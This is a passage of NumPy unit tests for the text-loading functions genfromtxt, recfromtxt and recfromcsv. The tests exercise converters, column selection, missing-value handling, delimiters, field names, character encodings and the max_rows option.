data = TextIO('1,2,3,,5\n6,7,8,9,10\n')
test = np.genfromtxt(data, dtype=int, delimiter=',',
converters={3: lambda s: int(s or - 999)},
usecols=(1, 3,))
control = np.array([[2, -999], [7, 9]], int)
assert_equal(test, control)
def test_converters_with_usecols_and_names(self):
# Tests names and usecols
data = TextIO('A B C D\n aaaa 121 45 9.1')
with warnings.catch_warnings(record=True) as w:
warnings.filterwarnings('always', '', np.VisibleDeprecationWarning)
test = np.genfromtxt(data, usecols=('A', 'C', 'D'), names=True,
dtype=None,
converters={'C': lambda s: 2 * int(s)})
assert_(w[0].category is np.VisibleDeprecationWarning)
control = np.array(('aaaa', 90, 9.1),
dtype=[('A', '|S4'), ('C', int), ('D', float)])
assert_equal(test, control)
def test_converters_cornercases(self):
# Test the conversion to datetime.
converter = {
'date': lambda s: strptime(s, '%Y-%m-%d %H:%M:%SZ')}
data = TextIO('2009-02-03 12:00:00Z, 72214.0')
test = np.genfromtxt(data, delimiter=',', dtype=None,
names=['date', 'stid'], converters=converter)
control = np.array((datetime(2009, 2, 3), 72214.),
dtype=[('date', np.object_), ('stid', float)])
assert_equal(test, control)
def test_converters_cornercases2(self):
# Test the conversion to datetime64.
converter = {
'date': lambda s: np.datetime64(strptime(s, '%Y-%m-%d %H:%M:%SZ'))}
data = TextIO('2009-02-03 12:00:00Z, 72214.0')
test = np.genfromtxt(data, delimiter=',', dtype=None,
names=['date', 'stid'], converters=converter)
control = np.array((datetime(2009, 2, 3), 72214.),
dtype=[('date', 'datetime64[us]'), ('stid', float)])
assert_equal(test, control)
def test_unused_converter(self):
# Test whether unused converters are forgotten
data = TextIO("1 21\n 3 42\n")
test = np.genfromtxt(data, usecols=(1,),
converters={0: lambda s: int(s, 16)})
assert_equal(test, [21, 42])
#
data.seek(0)
test = np.genfromtxt(data, usecols=(1,),
converters={1: lambda s: int(s, 16)})
assert_equal(test, [33, 66])
def test_invalid_converter(self):
strip_rand = lambda x: float((b'r' in x.lower() and x.split()[-1]) or
(b'r' not in x.lower() and x.strip() or 0.0))
strip_per = lambda x: float((b'%' in x.lower() and x.split()[0]) or
(b'%' not in x.lower() and x.strip() or 0.0))
s = TextIO("D01N01,10/1/2003 ,1 %,R 75,400,600\r\n"
"L24U05,12/5/2003, 2 %,1,300, 150.5\r\n"
"D02N03,10/10/2004,R 1,,7,145.55")
kwargs = dict(
converters={2: strip_per, 3: strip_rand}, delimiter=",",
dtype=None)
assert_raises(ConverterError, np.genfromtxt, s, **kwargs)
def test_tricky_converter_bug1666(self):
# Test some corner cases
s = TextIO('q1,2\nq3,4')
cnv = lambda s: float(s[1:])
test = np.genfromtxt(s, delimiter=',', converters={0: cnv})
control = np.array([[1., 2.], [3., 4.]])
assert_equal(test, control)
def test_dtype_with_converters(self):
dstr = "2009; 23; 46"
test = np.genfromtxt(TextIO(dstr,),
delimiter=";", dtype=float, converters={0: bytes})
control = np.array([('2009', 23., 46)],
dtype=[('f0', '|S4'), ('f1', float), ('f2', float)])
assert_equal(test, control)
test = np.genfromtxt(TextIO(dstr,),
delimiter=";", dtype=float, converters={0: float})
control = np.array([2009., 23., 46],)
assert_equal(test, control)
def test_dtype_with_converters_and_usecols(self):
dstr = "1,5,-1,1:1\n2,8,-1,1:n\n3,3,-2,m:n\n"
dmap = {'1:1':0, '1:n':1, 'm:1':2, 'm:n':3}
dtyp = [('e1','i4'),('e2','i4'),('e3','i2'),('n', 'i1')]
conv = {0: int, 1: int, 2: int, 3: lambda r: dmap[r.decode()]}
test = np.recfromcsv(TextIO(dstr,), dtype=dtyp, delimiter=',',
names=None, converters=conv)
control = np.rec.array([(1,5,-1,0), (2,8,-1,1), (3,3,-2,3)], dtype=dtyp)
assert_equal(test, control)
dtyp = [('e1','i4'),('e2','i4'),('n', 'i1')]
test = np.recfromcsv(TextIO(dstr,), dtype=dtyp, delimiter=',',
usecols=(0,1,3), names=None, converters=conv)
control = np.rec.array([(1,5,0), (2,8,1), (3,3,3)], dtype=dtyp)
assert_equal(test, control)
def test_dtype_with_object(self):
# Test using an explicit dtype with an object
data = """ 1; 2001-01-01
2; 2002-01-31 """
ndtype = [('idx', int), ('code', object)]
func = lambda s: strptime(s.strip(), "%Y-%m-%d")
converters = {1: func}
test = np.genfromtxt(TextIO(data), delimiter=";", dtype=ndtype,
converters=converters)
control = np.array(
[(1, datetime(2001, 1, 1)), (2, datetime(2002, 1, 31))],
dtype=ndtype)
assert_equal(test, control)
ndtype = [('nest', [('idx', int), ('code', object)])]
with assert_raises_regex(NotImplementedError,
'Nested fields.* not supported.*'):
test = np.genfromtxt(TextIO(data), delimiter=";",
dtype=ndtype, converters=converters)
# nested but empty fields also aren't supported
ndtype = [('idx', int), ('code', object), ('nest', [])]
with assert_raises_regex(NotImplementedError,
'Nested fields.* not supported.*'):
test = np.genfromtxt(TextIO(data), delimiter=";",
dtype=ndtype, converters=converters)
def test_userconverters_with_explicit_dtype(self):
# Test user_converters w/ explicit (standard) dtype
data = TextIO('skip,skip,2001-01-01,1.0,skip')
test = np.genfromtxt(data, delimiter=",", names=None, dtype=float,
usecols=(2, 3), converters={2: bytes})
control = np.array([('2001-01-01', 1.)],
dtype=[('', '|S10'), ('', float)])
assert_equal(test, control)
def test_utf8_userconverters_with_explicit_dtype(self):
utf8 = b'\xcf\x96'
with temppath() as path:
with open(path, 'wb') as f:
f.write(b'skip,skip,2001-01-01' + utf8 + b',1.0,skip')
test = np.genfromtxt(path, delimiter=",", names=None, dtype=float,
usecols=(2, 3), converters={2: np.compat.unicode},
encoding='UTF-8')
control = np.array([('2001-01-01' + utf8.decode('UTF-8'), 1.)],
dtype=[('', '|U11'), ('', float)])
assert_equal(test, control)
def test_spacedelimiter(self):
# Test space delimiter
data = TextIO("1 2 3 4 5\n6 7 8 9 10")
test = np.genfromtxt(data)
control = np.array([[1., 2., 3., 4., 5.],
[6., 7., 8., 9., 10.]])
assert_equal(test, control)
def test_integer_delimiter(self):
# Test using an integer for delimiter
data = " 1 2 3\n 4 5 67\n890123 4"
test = np.genfromtxt(TextIO(data), delimiter=3)
control = np.array([[1, 2, 3], [4, 5, 67], [890, 123, 4]])
assert_equal(test, control)
def test_missing(self):
data = TextIO('1,2,3,,5\n')
test = np.genfromtxt(data, dtype=int, delimiter=',',
converters={3: lambda s: int(s or - 999)})
control = np.array([1, 2, 3, -999, 5], int)
assert_equal(test, control)
def test_missing_with_tabs(self):
# Test w/ a delimiter tab
txt = "1\t2\t3\n\t2\t\n1\t\t3"
test = np.genfromtxt(TextIO(txt), delimiter="\t",
usemask=True,)
ctrl_d = np.array([(1, 2, 3), (np.nan, 2, np.nan), (1, np.nan, 3)],)
ctrl_m = np.array([(0, 0, 0), (1, 0, 1), (0, 1, 0)], dtype=bool)
assert_equal(test.data, ctrl_d)
assert_equal(test.mask, ctrl_m)
def test_usecols(self):
# Test the selection of columns
# Select 1 column
control = np.array([[1, 2], [3, 4]], float)
data = TextIO()
np.savetxt(data, control)
data.seek(0)
test = np.genfromtxt(data, dtype=float, usecols=(1,))
assert_equal(test, control[:, 1])
#
control = np.array([[1, 2, 3], [3, 4, 5]], float)
data = TextIO()
np.savetxt(data, control)
data.seek(0)
test = np.genfromtxt(data, dtype=float, usecols=(1, 2))
assert_equal(test, control[:, 1:])
# Testing with arrays instead of tuples.
data.seek(0)
test = np.genfromtxt(data, dtype=float, usecols=np.array([1, 2]))
assert_equal(test, control[:, 1:])
def test_usecols_as_css(self):
# Test giving usecols with a comma-separated string
data = "1 2 3\n4 5 6"
test = np.genfromtxt(TextIO(data),
names="a, b, c", usecols="a, c")
ctrl = np.array([(1, 3), (4, 6)], dtype=[(_, float) for _ in "ac"])
assert_equal(test, ctrl)
def test_usecols_with_structured_dtype(self):
# Test usecols with an explicit structured dtype
data = TextIO("JOE 70.1 25.3\nBOB 60.5 27.9")
names = ['stid', 'temp']
dtypes = ['S4', 'f8']
test = np.genfromtxt(
data, usecols=(0, 2), dtype=list(zip(names, dtypes)))
assert_equal(test['stid'], [b"JOE", b"BOB"])
assert_equal(test['temp'], [25.3, 27.9])
def test_usecols_with_integer(self):
# Test usecols with an integer
test = np.genfromtxt(TextIO(b"1 2 3\n4 5 6"), usecols=0)
assert_equal(test, np.array([1., 4.]))
def test_usecols_with_named_columns(self):
# Test usecols with named columns
ctrl = np.array([(1, 3), (4, 6)], dtype=[('a', float), ('c', float)])
data = "1 2 3\n4 5 6"
kwargs = dict(names="a, b, c")
test = np.genfromtxt(TextIO(data), usecols=(0, -1), **kwargs)
assert_equal(test, ctrl)
test = np.genfromtxt(TextIO(data),
usecols=('a', 'c'), **kwargs)
assert_equal(test, ctrl)
def test_empty_file(self):
# Test that an empty file raises the proper warning.
with suppress_warnings() as sup:
sup.filter(message="genfromtxt: Empty input file:")
data = TextIO()
test = np.genfromtxt(data)
assert_equal(test, np.array([]))
# when skip_header > 0
test = np.genfromtxt(data, skip_header=1)
assert_equal(test, np.array([]))
def test_fancy_dtype_alt(self):
# Check that a nested dtype isn't MIA
data = TextIO('1,2,3.0\n4,5,6.0\n')
fancydtype = np.dtype([('x', int), ('y', [('t', int), ('s', float)])])
test = np.genfromtxt(data, dtype=fancydtype, delimiter=',', usemask=True)
control = ma.array([(1, (2, 3.0)), (4, (5, 6.0))], dtype=fancydtype)
assert_equal(test, control)
def test_shaped_dtype(self):
c = TextIO("aaaa 1.0 8.0 1 2 3 4 5 6")
dt = np.dtype([('name', 'S4'), ('x', float), ('y', float),
('block', int, (2, 3))])
x = np.genfromtxt(c, dtype=dt)
a = np.array([('aaaa', 1.0, 8.0, [[1, 2, 3], [4, 5, 6]])],
dtype=dt)
assert_array_equal(x, a)
def test_withmissing(self):
data = TextIO('A,B\n0,1\n2,N/A')
kwargs = dict(delimiter=",", missing_values="N/A", names=True)
test = np.genfromtxt(data, dtype=None, usemask=True, **kwargs)
control = ma.array([(0, 1), (2, -1)],
mask=[(False, False), (False, True)],
dtype=[('A', int), ('B', int)])
assert_equal(test, control)
assert_equal(test.mask, control.mask)
#
data.seek(0)
test = np.genfromtxt(data, usemask=True, **kwargs)
control = ma.array([(0, 1), (2, -1)],
mask=[(False, False), (False, True)],
dtype=[('A', float), ('B', float)])
assert_equal(test, control)
assert_equal(test.mask, control.mask)
def test_user_missing_values(self):
data = "A, B, C\n0, 0., 0j\n1, N/A, 1j\n-9, 2.2, N/A\n3, -99, 3j"
basekwargs = dict(dtype=None, delimiter=",", names=True,)
mdtype = [('A', int), ('B', float), ('C', complex)]
#
test = np.genfromtxt(TextIO(data), missing_values="N/A",
**basekwargs)
control = ma.array([(0, 0.0, 0j), (1, -999, 1j),
(-9, 2.2, -999j), (3, -99, 3j)],
mask=[(0, 0, 0), (0, 1, 0), (0, 0, 1), (0, 0, 0)],
dtype=mdtype)
assert_equal(test, control)
#
basekwargs['dtype'] = mdtype
test = np.genfromtxt(TextIO(data),
missing_values={0: -9, 1: -99, 2: -999j}, usemask=True, **basekwargs)
control = ma.array([(0, 0.0, 0j), (1, -999, 1j),
(-9, 2.2, -999j), (3, -99, 3j)],
mask=[(0, 0, 0), (0, 1, 0), (1, 0, 1), (0, 1, 0)],
dtype=mdtype)
assert_equal(test, control)
#
test = np.genfromtxt(TextIO(data),
missing_values={0: -9, 'B': -99, 'C': -999j},
usemask=True,
**basekwargs)
control = ma.array([(0, 0.0, 0j), (1, -999, 1j),
(-9, 2.2, -999j), (3, -99, 3j)],
mask=[(0, 0, 0), (0, 1, 0), (1, 0, 1), (0, 1, 0)],
dtype=mdtype)
assert_equal(test, control)
def test_user_filling_values(self):
# Test with missing and filling values
ctrl = np.array([(0, 3), (4, -999)], dtype=[('a', int), ('b', int)])
data = "N/A, 2, 3\n4, ,???"
kwargs = dict(delimiter=",",
dtype=int,
names="a,b,c",
missing_values={0: "N/A", 'b': " ", 2: "???"},
filling_values={0: 0, 'b': 0, 2: -999})
test = np.genfromtxt(TextIO(data), **kwargs)
ctrl = np.array([(0, 2, 3), (4, 0, -999)],
dtype=[(_, int) for _ in "abc"])
assert_equal(test, ctrl)
#
test = np.genfromtxt(TextIO(data), usecols=(0, -1), **kwargs)
ctrl = np.array([(0, 3), (4, -999)], dtype=[(_, int) for _ in "ac"])
assert_equal(test, ctrl)
data2 = "1,2,*,4\n5,*,7,8\n"
test = np.genfromtxt(TextIO(data2), delimiter=',', dtype=int,
missing_values="*", filling_values=0)
ctrl = np.array([[1, 2, 0, 4], [5, 0, 7, 8]])
assert_equal(test, ctrl)
test = np.genfromtxt(TextIO(data2), delimiter=',', dtype=int,
missing_values="*", filling_values=-1)
ctrl = np.array([[1, 2, -1, 4], [5, -1, 7, 8]])
assert_equal(test, ctrl)
def test_withmissing_float(self):
data = TextIO('A,B\n0,1.5\n2,-999.00')
test = np.genfromtxt(data, dtype=None, delimiter=',',
missing_values='-999.0', names=True, usemask=True)
control = ma.array([(0, 1.5), (2, -1.)],
mask=[(False, False), (False, True)],
dtype=[('A', int), ('B', float)])
assert_equal(test, control)
assert_equal(test.mask, control.mask)
def test_with_masked_column_uniform(self):
# Test masked column
data = TextIO('1 2 3\n4 5 6\n')
test = np.genfromtxt(data, dtype=None,
missing_values='2,5', usemask=True)
control = ma.array([[1, 2, 3], [4, 5, 6]], mask=[[0, 1, 0], [0, 1, 0]])
assert_equal(test, control)
def test_with_masked_column_various(self):
# Test masked column
data = TextIO('True 2 3\nFalse 5 6\n')
test = np.genfromtxt(data, dtype=None,
missing_values='2,5', usemask=True)
control = ma.array([(1, 2, 3), (0, 5, 6)],
mask=[(0, 1, 0), (0, 1, 0)],
dtype=[('f0', bool), ('f1', bool), ('f2', int)])
assert_equal(test, control)
def test_invalid_raise(self):
# Test invalid raise
data = ["1, 1, 1, 1, 1"] * 50
for i in range(5):
data[10 * i] = "2, 2, 2, 2 2"
data.insert(0, "a, b, c, d, e")
mdata = TextIO("\n".join(data))
#
kwargs = dict(delimiter=",", dtype=None, names=True)
# XXX: is there a better way to get the return value of the
# callable in assert_warns ?
ret = {}
def f(_ret={}):
_ret['mtest'] = np.genfromtxt(mdata, invalid_raise=False, **kwargs)
assert_warns(ConversionWarning, f, _ret=ret)
mtest = ret['mtest']
assert_equal(len(mtest), 45)
assert_equal(mtest, np.ones(45, dtype=[(_, int) for _ in 'abcde']))
#
mdata.seek(0)
assert_raises(ValueError, np.genfromtxt, mdata,
delimiter=",", names=True)
def test_invalid_raise_with_usecols(self):
# Test invalid_raise with usecols
data = ["1, 1, 1, 1, 1"] * 50
for i in range(5):
data[10 * i] = "2, 2, 2, 2 2"
data.insert(0, "a, b, c, d, e")
mdata = TextIO("\n".join(data))
kwargs = dict(delimiter=",", dtype=None, names=True,
invalid_raise=False)
# XXX: is there a better way to get the return value of the
# callable in assert_warns ?
ret = {}
def f(_ret={}):
_ret['mtest'] = np.genfromtxt(mdata, usecols=(0, 4), **kwargs)
assert_warns(ConversionWarning, f, _ret=ret)
mtest = ret['mtest']
assert_equal(len(mtest), 45)
assert_equal(mtest, np.ones(45, dtype=[(_, int) for _ in 'ae']))
#
mdata.seek(0)
mtest = np.genfromtxt(mdata, usecols=(0, 1), **kwargs)
assert_equal(len(mtest), 50)
control = np.ones(50, dtype=[(_, int) for _ in 'ab'])
control[[10 * _ for _ in range(5)]] = (2, 2)
assert_equal(mtest, control)
def test_inconsistent_dtype(self):
# Test inconsistent dtype
data = ["1, 1, 1, 1, -1.1"] * 50
mdata = TextIO("\n".join(data))
converters = {4: lambda x: "(%s)" % x.decode()}
kwargs = dict(delimiter=",", converters=converters,
dtype=[(_, int) for _ in 'abcde'],)
assert_raises(ValueError, np.genfromtxt, mdata, **kwargs)
def test_default_field_format(self):
# Test default format
data = "0, 1, 2.3\n4, 5, 6.7"
mtest = np.genfromtxt(TextIO(data),
delimiter=",", dtype=None, defaultfmt="f%02i")
ctrl = np.array([(0, 1, 2.3), (4, 5, 6.7)],
dtype=[("f00", int), ("f01", int), ("f02", float)])
assert_equal(mtest, ctrl)
def test_single_dtype_wo_names(self):
# Test single dtype w/o names
data = "0, 1, 2.3\n4, 5, 6.7"
mtest = np.genfromtxt(TextIO(data),
delimiter=",", dtype=float, defaultfmt="f%02i")
ctrl = np.array([[0., 1., 2.3], [4., 5., 6.7]], dtype=float)
assert_equal(mtest, ctrl)
def test_single_dtype_w_explicit_names(self):
# Test single dtype w explicit names
data = "0, 1, 2.3\n4, 5, 6.7"
mtest = np.genfromtxt(TextIO(data),
delimiter=",", dtype=float, names="a, b, c")
ctrl = np.array([(0., 1., 2.3), (4., 5., 6.7)],
dtype=[(_, float) for _ in "abc"])
assert_equal(mtest, ctrl)
def test_single_dtype_w_implicit_names(self):
# Test single dtype w implicit names
data = "a, b, c\n0, 1, 2.3\n4, 5, 6.7"
mtest = np.genfromtxt(TextIO(data),
delimiter=",", dtype=float, names=True)
ctrl = np.array([(0., 1., 2.3), (4., 5., 6.7)],
dtype=[(_, float) for _ in "abc"])
assert_equal(mtest, ctrl)
def test_easy_structured_dtype(self):
# Test easy structured dtype
data = "0, 1, 2.3\n4, 5, 6.7"
mtest = np.genfromtxt(TextIO(data), delimiter=",",
dtype=(int, float, float), defaultfmt="f_%02i")
ctrl = np.array([(0, 1., 2.3), (4, 5., 6.7)],
dtype=[("f_00", int), ("f_01", float), ("f_02", float)])
assert_equal(mtest, ctrl)
def test_autostrip(self):
# Test autostrip
data = "01/01/2003 , 1.3, abcde"
kwargs = dict(delimiter=",", dtype=None)
with warnings.catch_warnings(record=True) as w:
warnings.filterwarnings('always', '', np.VisibleDeprecationWarning)
mtest = np.genfromtxt(TextIO(data), **kwargs)
assert_(w[0].category is np.VisibleDeprecationWarning)
ctrl = np.array([('01/01/2003 ', 1.3, ' abcde')],
dtype=[('f0', '|S12'), ('f1', float), ('f2', '|S8')])
assert_equal(mtest, ctrl)
with warnings.catch_warnings(record=True) as w:
warnings.filterwarnings('always', '', np.VisibleDeprecationWarning)
mtest = np.genfromtxt(TextIO(data), autostrip=True, **kwargs)
assert_(w[0].category is np.VisibleDeprecationWarning)
ctrl = np.array([('01/01/2003', 1.3, 'abcde')],
dtype=[('f0', '|S10'), ('f1', float), ('f2', '|S5')])
assert_equal(mtest, ctrl)
def test_replace_space(self):
# Test the 'replace_space' option
txt = "A.A, B (B), C:C\n1, 2, 3.14"
# Test default: replace ' ' by '_' and delete non-alphanum chars
test = np.genfromtxt(TextIO(txt),
delimiter=",", names=True, dtype=None)
ctrl_dtype = [("AA", int), ("B_B", int), ("CC", float)]
ctrl = np.array((1, 2, 3.14), dtype=ctrl_dtype)
assert_equal(test, ctrl)
# Test: no replace, no delete
test = np.genfromtxt(TextIO(txt),
delimiter=",", names=True, dtype=None,
replace_space='', deletechars='')
ctrl_dtype = [("A.A", int), ("B (B)", int), ("C:C", float)]
ctrl = np.array((1, 2, 3.14), dtype=ctrl_dtype)
assert_equal(test, ctrl)
# Test: no delete (spaces are replaced by _)
test = np.genfromtxt(TextIO(txt),
delimiter=",", names=True, dtype=None,
deletechars='')
ctrl_dtype = [("A.A", int), ("B_(B)", int), ("C:C", float)]
ctrl = np.array((1, 2, 3.14), dtype=ctrl_dtype)
assert_equal(test, ctrl)
def test_replace_space_known_dtype(self):
# Test the 'replace_space' (and related) options when dtype != None
txt = "A.A, B (B), C:C\n1, 2, 3"
# Test default: replace ' ' by '_' and delete non-alphanum chars
test = np.genfromtxt(TextIO(txt),
delimiter=",", names=True, dtype=int)
ctrl_dtype = [("AA", int), ("B_B", int), ("CC", int)]
ctrl = np.array((1, 2, 3), dtype=ctrl_dtype)
assert_equal(test, ctrl)
# Test: no replace, no delete
test = np.genfromtxt(TextIO(txt),
delimiter=",", names=True, dtype=int,
replace_space='', deletechars='')
ctrl_dtype = [("A.A", int), ("B (B)", int), ("C:C", int)]
ctrl = np.array((1, 2, 3), dtype=ctrl_dtype)
assert_equal(test, ctrl)
# Test: no delete (spaces are replaced by _)
test = np.genfromtxt(TextIO(txt),
delimiter=",", names=True, dtype=int,
deletechars='')
ctrl_dtype = [("A.A", int), ("B_(B)", int), ("C:C", int)]
ctrl = np.array((1, 2, 3), dtype=ctrl_dtype)
assert_equal(test, ctrl)
def test_incomplete_names(self):
# Test w/ incomplete names
data = "A,,C\n0,1,2\n3,4,5"
kwargs = dict(delimiter=",", names=True)
# w/ dtype=None
ctrl = np.array([(0, 1, 2), (3, 4, 5)],
dtype=[(_, int) for _ in ('A', 'f0', 'C')])
test = np.genfromtxt(TextIO(data), dtype=None, **kwargs)
assert_equal(test, ctrl)
# w/ default dtype
ctrl = np.array([(0, 1, 2), (3, 4, 5)],
dtype=[(_, float) for _ in ('A', 'f0', 'C')])
test = np.genfromtxt(TextIO(data), **kwargs)
def test_names_auto_completion(self):
# Make sure that names are properly completed
data = "1 2 3\n 4 5 6"
test = np.genfromtxt(TextIO(data),
dtype=(int, float, int), names="a")
ctrl = np.array([(1, 2, 3), (4, 5, 6)],
dtype=[('a', int), ('f0', float), ('f1', int)])
assert_equal(test, ctrl)
def test_names_with_usecols_bug1636(self):
# Make sure we pick up the right names w/ usecols
data = "A,B,C,D,E\n0,1,2,3,4\n0,1,2,3,4\n0,1,2,3,4"
ctrl_names = ("A", "C", "E")
test = np.genfromtxt(TextIO(data),
dtype=(int, int, int), delimiter=",",
usecols=(0, 2, 4), names=True)
assert_equal(test.dtype.names, ctrl_names)
#
test = np.genfromtxt(TextIO(data),
dtype=(int, int, int), delimiter=",",
usecols=("A", "C", "E"), names=True)
assert_equal(test.dtype.names, ctrl_names)
#
test = np.genfromtxt(TextIO(data),
dtype=int, delimiter=",",
usecols=("A", "C", "E"), names=True)
assert_equal(test.dtype.names, ctrl_names)
def test_fixed_width_names(self):
# Test fix-width w/ names
data = " A B C\n 0 1 2.3\n 45 67 9."
kwargs = dict(delimiter=(5, 5, 4), names=True, dtype=None)
ctrl = np.array([(0, 1, 2.3), (45, 67, 9.)],
dtype=[('A', int), ('B', int), ('C', float)])
test = np.genfromtxt(TextIO(data), **kwargs)
assert_equal(test, ctrl)
#
kwargs = dict(delimiter=5, names=True, dtype=None)
ctrl = np.array([(0, 1, 2.3), (45, 67, 9.)],
dtype=[('A', int), ('B', int), ('C', float)])
test = np.genfromtxt(TextIO(data), **kwargs)
assert_equal(test, ctrl)
def test_filling_values(self):
# Test missing values
data = b"1, 2, 3\n1, , 5\n0, 6, \n"
kwargs = dict(delimiter=",", dtype=None, filling_values=-999)
ctrl = np.array([[1, 2, 3], [1, -999, 5], [0, 6, -999]], dtype=int)
test = np.genfromtxt(TextIO(data), **kwargs)
assert_equal(test, ctrl)
def test_comments_is_none(self):
# Github issue 329 (None was previously being converted to 'None').
with warnings.catch_warnings(record=True) as w:
warnings.filterwarnings('always', '', np.VisibleDeprecationWarning)
test = np.genfromtxt(TextIO("test1,testNonetherestofthedata"),
dtype=None, comments=None, delimiter=',')
assert_(w[0].category is np.VisibleDeprecationWarning)
assert_equal(test[1], b'testNonetherestofthedata')
with warnings.catch_warnings(record=True) as w:
warnings.filterwarnings('always', '', np.VisibleDeprecationWarning)
test = np.genfromtxt(TextIO("test1, testNonetherestofthedata"),
dtype=None, comments=None, delimiter=',')
assert_(w[0].category is np.VisibleDeprecationWarning)
assert_equal(test[1], b' testNonetherestofthedata')
def test_latin1(self):
latin1 = b'\xf6\xfc\xf6'
norm = b"norm1,norm2,norm3\n"
enc = b"test1,testNonethe" + latin1 + b",test3\n"
s = norm + enc + norm
with warnings.catch_warnings(record=True) as w:
warnings.filterwarnings('always', '', np.VisibleDeprecationWarning)
test = np.genfromtxt(TextIO(s),
dtype=None, comments=None, delimiter=',')
assert_(w[0].category is np.VisibleDeprecationWarning)
assert_equal(test[1, 0], b"test1")
assert_equal(test[1, 1], b"testNonethe" + latin1)
assert_equal(test[1, 2], b"test3")
test = np.genfromtxt(TextIO(s),
dtype=None, comments=None, delimiter=',',
encoding='latin1')
assert_equal(test[1, 0], u"test1")
assert_equal(test[1, 1], u"testNonethe" + latin1.decode('latin1'))
assert_equal(test[1, 2], u"test3")
with warnings.catch_warnings(record=True) as w:
warnings.filterwarnings('always', '', np.VisibleDeprecationWarning)
test = np.genfromtxt(TextIO(b"0,testNonethe" + latin1),
dtype=None, comments=None, delimiter=',')
assert_(w[0].category is np.VisibleDeprecationWarning)
assert_equal(test['f0'], 0)
assert_equal(test['f1'], b"testNonethe" + latin1)
def test_binary_decode_autodtype(self):
utf16 = b'\xff\xfeh\x04 \x00i\x04 \x00j\x04'
v = self.loadfunc(BytesIO(utf16), dtype=None, encoding='UTF-16')
assert_array_equal(v, np.array(utf16.decode('UTF-16').split()))
def test_utf8_byte_encoding(self):
utf8 = b"\xcf\x96"
norm = b"norm1,norm2,norm3\n"
enc = b"test1,testNonethe" + utf8 + b",test3\n"
s = norm + enc + norm
with warnings.catch_warnings(record=True) as w:
warnings.filterwarnings('always', '', np.VisibleDeprecationWarning)
test = np.genfromtxt(TextIO(s),
dtype=None, comments=None, delimiter=',')
assert_(w[0].category is np.VisibleDeprecationWarning)
ctl = np.array([
[b'norm1', b'norm2', b'norm3'],
[b'test1', b'testNonethe' + utf8, b'test3'],
[b'norm1', b'norm2', b'norm3']])
assert_array_equal(test, ctl)
def test_utf8_file(self):
utf8 = b"\xcf\x96"
with temppath() as path:
with open(path, "wb") as f:
f.write((b"test1,testNonethe" + utf8 + b",test3\n") * 2)
test = np.genfromtxt(path, dtype=None, comments=None,
delimiter=',', encoding="UTF-8")
ctl = np.array([
["test1", "testNonethe" + utf8.decode("UTF-8"), "test3"],
["test1", "testNonethe" + utf8.decode("UTF-8"), "test3"]],
dtype=np.unicode_)
assert_array_equal(test, ctl)
# test a mixed dtype
with open(path, "wb") as f:
f.write(b"0,testNonethe" + utf8)
test = np.genfromtxt(path, dtype=None, comments=None,
delimiter=',', encoding="UTF-8")
assert_equal(test['f0'], 0)
assert_equal(test['f1'], "testNonethe" + utf8.decode("UTF-8"))
def test_utf8_file_nodtype_unicode(self):
# bytes encoding with non-latin1 -> unicode upcast
utf8 = u'\u03d6'
latin1 = u'\xf6\xfc\xf6'
# skip test if cannot encode utf8 test string with preferred
# encoding. The preferred encoding is assumed to be the default
# encoding of io.open. Will need to change this for PyTest, maybe
# using pytest.mark.xfail(raises=***).
try:
encoding = locale.getpreferredencoding()
utf8.encode(encoding)
except (UnicodeError, ImportError):
pytest.skip('Skipping test_utf8_file_nodtype_unicode, '
'unable to encode utf8 in preferred encoding')
with temppath() as path:
with io.open(path, "wt") as f:
f.write(u"norm1,norm2,norm3\n")
f.write(u"norm1," + latin1 + u",norm3\n")
f.write(u"test1,testNonethe" + utf8 + u",test3\n")
with warnings.catch_warnings(record=True) as w:
warnings.filterwarnings('always', '',
np.VisibleDeprecationWarning)
test = np.genfromtxt(path, dtype=None, comments=None,
delimiter=',')
# Check for warning when encoding not specified.
assert_(w[0].category is np.VisibleDeprecationWarning)
ctl = np.array([
["norm1", "norm2", "norm3"],
["norm1", latin1, "norm3"],
["test1", "testNonethe" + utf8, "test3"]],
dtype=np.unicode_)
assert_array_equal(test, ctl)
def test_recfromtxt(self):
#
data = TextIO('A,B\n0,1\n2,3')
kwargs = dict(delimiter=",", missing_values="N/A", names=True)
test = np.recfromtxt(data, **kwargs)
control = np.array([(0, 1), (2, 3)],
dtype=[('A', int), ('B', int)])
assert_(isinstance(test, np.recarray))
assert_equal(test, control)
#
data = TextIO('A,B\n0,1\n2,N/A')
test = np.recfromtxt(data, dtype=None, usemask=True, **kwargs)
control = ma.array([(0, 1), (2, -1)],
mask=[(False, False), (False, True)],
dtype=[('A', int), ('B', int)])
assert_equal(test, control)
assert_equal(test.mask, control.mask)
assert_equal(test.A, [0, 2])
def test_recfromcsv(self):
#
data = TextIO('A,B\n0,1\n2,3')
kwargs = dict(missing_values="N/A", names=True, case_sensitive=True)
test = np.recfromcsv(data, dtype=None, **kwargs)
control = np.array([(0, 1), (2, 3)],
dtype=[('A', int), ('B', int)])
assert_(isinstance(test, np.recarray))
assert_equal(test, control)
#
data = TextIO('A,B\n0,1\n2,N/A')
test = np.recfromcsv(data, dtype=None, usemask=True, **kwargs)
control = ma.array([(0, 1), (2, -1)],
mask=[(False, False), (False, True)],
dtype=[('A', int), ('B', int)])
assert_equal(test, control)
assert_equal(test.mask, control.mask)
assert_equal(test.A, [0, 2])
#
data = TextIO('A,B\n0,1\n2,3')
test = np.recfromcsv(data, missing_values='N/A',)
control = np.array([(0, 1), (2, 3)],
dtype=[('a', int), ('b', int)])
assert_(isinstance(test, np.recarray))
assert_equal(test, control)
#
data = TextIO('A,B\n0,1\n2,3')
dtype = [('a', int), ('b', float)]
test = np.recfromcsv(data, missing_values='N/A', dtype=dtype)
control = np.array([(0, 1), (2, 3)],
dtype=dtype)
assert_(isinstance(test, np.recarray))
assert_equal(test, control)
#gh-10394
data = TextIO('color\n"red"\n"blue"')
test = np.recfromcsv(data, converters={0: lambda x: x.strip(b'\"')})
control = np.array([('red',), ('blue',)], dtype=[('color', (bytes, 4))])
assert_equal(test.dtype, control.dtype)
assert_equal(test, control)
def test_max_rows(self):
# Test the `max_rows` keyword argument.
data = '1 2\n3 4\n5 6\n7 8\n9 10\n'
txt = TextIO(data)
a1 = np.genfromtxt(txt, max_rows=3)
a2 = np.genfromtxt(txt)
assert_equal(a1, [[1, 2], [3, 4], [5, 6]])
assert_equal(a2, [[7, 8], [9, 10]])
# max_rows must be at least 1.
assert_raises(ValueError, np.genfromtxt, TextIO(data), max_rows=0)
# An input with several invalid rows.
data = '1 1\n2 2\n0 \n3 3\n4 4\n5 \n6 \n7 \n'
test = np.genfromtxt(TextIO(data), max_rows=2)
control = np.array([[1., 1.], [2., 2.]])
assert_equal(test, control)
# Test keywords conflict
